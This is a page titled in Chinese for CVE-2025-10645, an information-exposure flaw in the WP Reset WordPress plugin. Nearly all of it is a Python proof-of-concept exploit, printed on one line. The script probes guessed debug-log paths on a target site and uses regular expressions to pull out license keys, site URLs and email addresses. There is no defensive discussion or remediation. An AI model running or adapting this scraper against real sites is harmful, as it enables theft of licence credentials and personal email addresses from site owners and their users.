CVE-2025-10645：WP Reset插件敏感信息泄露漏洞

# CVE-2025-10645 PoC - WP Reset Plugin Sensitive Information Exposure # Exploits the WF_Licensing::log() method that writes sensitive data to debug logs import requests import re import sys from urllib.parse import urljoin def exploit(target_url): """ Exploit CVE-2025-10645: Extract sensitive license key and site data from WP Reset plugin debug logs. """ # Common debug log file paths used by WP Reset plugin log_paths = [ '/wp-content/uploads/wp-reset/debug.log', '/wp-content/debug.log', '/wp-content/plugins/wp-reset/debug.log', '/wp-content/uploads/wordpress-popup/log/debug.log', ] session = requests.Session() session.headers.update({ 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-10645-PoC)', }) found_data = {} for log_path in log_paths: log_url = urljoin(target_url, log_path) try: resp = session.get(log_url, timeout=10) if resp.status_code == 200 and len(resp.text) > 0: print(f"[+] Found log file at: {log_url}") # Extract license keys (typical patterns) license_patterns = [ r'license[_-]?key["\s:=]+([A-Za-z0-9\-_]{20,})', r'license["\s:=]+"([^"]+)"', r'activation[_-]?key["\s:=]+([A-Za-z0-9\-_]{20,})', r'key["\s:=]+"([A-Za-z0-9\-_]{32,})"', ] for pattern in license_patterns: matches = re.findall(pattern, resp.text, re.IGNORECASE) if matches: found_data['license_keys'] = matches print(f"[+] Extracted license keys: {matches}") # Extract site URLs site_urls = re.findall(r'https?://[\w\-\.]+\.[a-z]{2,}[/\w\-\.]*', resp.text) if site_urls: found_data['site_urls'] = list(set(site_urls)) print(f"[+] Extracted site URLs: {found_data['site_urls']}") # Extract email addresses emails = re.findall(r'[\w\.+-]+@[\w\-]+\.[\w\-\.]+', resp.text) if emails: found_data['emails'] = list(set(emails)) print(f"[+] Extracted emails: {found_data['emails']}") break except requests.RequestException as e: continue return found_data if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_wordpress_url>") print(f"Example: {sys.argv[0]} https://example.com") sys.exit(1) target = sys.argv[1] data = exploit(target) if data: print(f"\n[!] Sensitive data extracted successfully:") for key, value in data.items(): print(f" {key}: {value}") else: print("[-] No sensitive data found or target not vulnerable.")